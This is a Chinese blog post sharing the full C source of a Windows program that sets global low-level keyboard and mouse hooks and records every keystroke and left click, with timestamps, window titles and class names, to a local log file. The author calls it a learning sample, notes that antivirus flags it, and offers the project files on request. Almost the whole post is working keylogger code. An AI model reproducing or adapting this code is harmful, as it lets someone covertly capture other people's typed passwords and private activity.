鼠标&键盘全监视
为了这个程序我可是伤透了脑筋,今天发出来供大家学习和参考。由于时间比较紧所以代码注释写的比较少,代码写的也比较乱…… 程序主要是使用键盘钩子完成的,运行程序时金山会报警。另外,由于程序涉及到鼠标键盘监视,所以这里暂不提供程序下载地址
声明:本程序仅供学习和参考,不得用于其他用途,如有违背者与本人无关。

源代码

#include "StdAfx.h"
#include <stdio.h>
#include <stdlib.h>
#include <shellapi.h>
#include <windows.h>
#include <windowsx.h>
#include "resource.h"
#include "MainDlg.h"

int i = 0;
HHOOK mouseHookId;
HHOOK keyHookId;
FILE *fp;
TCHAR time[256];

BOOL WINAPI Main_Proc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    switch(uMsg)
    {
        HANDLE_MSG(hWnd, WM_INITDIALOG, Main_OnInitDialog);
        HANDLE_MSG(hWnd, WM_COMMAND, Main_OnCommand);
    HANDLE_MSG(hWnd,WM_CLOSE, Main_OnClose);
    }

    return FALSE;
}

BOOL Main_OnInitDialog(HWND hwnd, HWND hwndFocus, LPARAM lParam)
{
    fp=fopen("c:/log.txt","w");
    StartHook(hwnd);
        return TRUE;
}


LRESULT CALLBACK MouseHookProc(int code, WPARAM wParam, LPARAM lParam)
{
    SYSTEMTIME stlocal;//系统时间结构体
    GetLocalTime(&stlocal);//得到系统的时间函数
    wsprintf(time,"%04d年%02d月%02d日  %02d:%02d:%02d",stlocal.wYear,stlocal.wMonth,stlocal.wDay,stlocal.wHour,stlocal.wMinute,stlocal.wSecond);
    
    if(HC_ACTION==code)
    {
        LPMOUSEHOOKSTRUCT lpMouseHook = (MOUSEHOOKSTRUCT FAR*)lParam;
        if(WM_LBUTTONDOWN==wParam)
        {
            TCHAR lpText[256];
            TCHAR lpClassName[256];
            HWND hwnd = WindowFromPoint(lpMouseHook->pt);
            GetWindowText(hwnd,lpText,sizeof(lpText));
            GetClassName(hwnd,lpClassName,sizeof(lpClassName));
            fprintf(fp,"时间:%s\n事件:鼠标左键\n坐标:%i,%i\n窗口:%s\n窗口类名:%s\n\n",time, lpMouseHook->pt.x,lpMouseHook->pt.y,lpText,lpClassName);
        }
    }
    if(0!=code)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }

    return 0;
}

LRESULT CALLBACK KeyHookProc(int code, WPARAM wParam, LPARAM lParam)
{
    SYSTEMTIME stlocal;//系统时间结构体
    GetLocalTime(&stlocal);//得到系统的时间函数
    wsprintf(time,"%04d年%02d月%02d日  %02d:%02d:%02d",stlocal.wYear,stlocal.wMonth,stlocal.wDay,stlocal.wHour,stlocal.wMinute,stlocal.wSecond);

    if(HC_ACTION==code)
    {
        LPKBDLLHOOKSTRUCT lpKeyHook = (LPKBDLLHOOKSTRUCT)lParam;
        if(WM_KEYDOWN==wParam||WM_SYSKEYDOWN==wParam)
        {
            long lKey = (LOWORD(lpKeyHook->scanCode)<<16);
            TCHAR lpKeyName[256];
            GetKeyNameText(lKey,lpKeyName,sizeof(lpKeyName));
            fprintf(fp,"时间:%s\n事件:键盘%s被按下\n\n",time, lpKeyName);
        }
    }
    if(0!=code)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }

    return 0;
}

void StartHook(HWND hwnd)
{
    HINSTANCE instance = (HINSTANCE)GetWindowLong(hwnd,GWL_HINSTANCE);
    mouseHookId = SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,instance,0);
    keyHookId = SetWindowsHookEx(WH_KEYBOARD_LL,KeyHookProc,instance,0);
}

void Main_OnCommand(HWND hwnd, int id, HWND hwndCtl, UINT codeNotify)
{

}

void Main_OnClose(HWND hwnd)
{
    UnhookWindowsHookEx(mouseHookId);
    UnhookWindowsHookEx(keyHookId);
    fclose(fp);

    EndDialog(hwnd, 0);
}

By:Microyu
有兴趣的童鞋可以到我这里要工程源文件

©著作权归作者所有

发表评论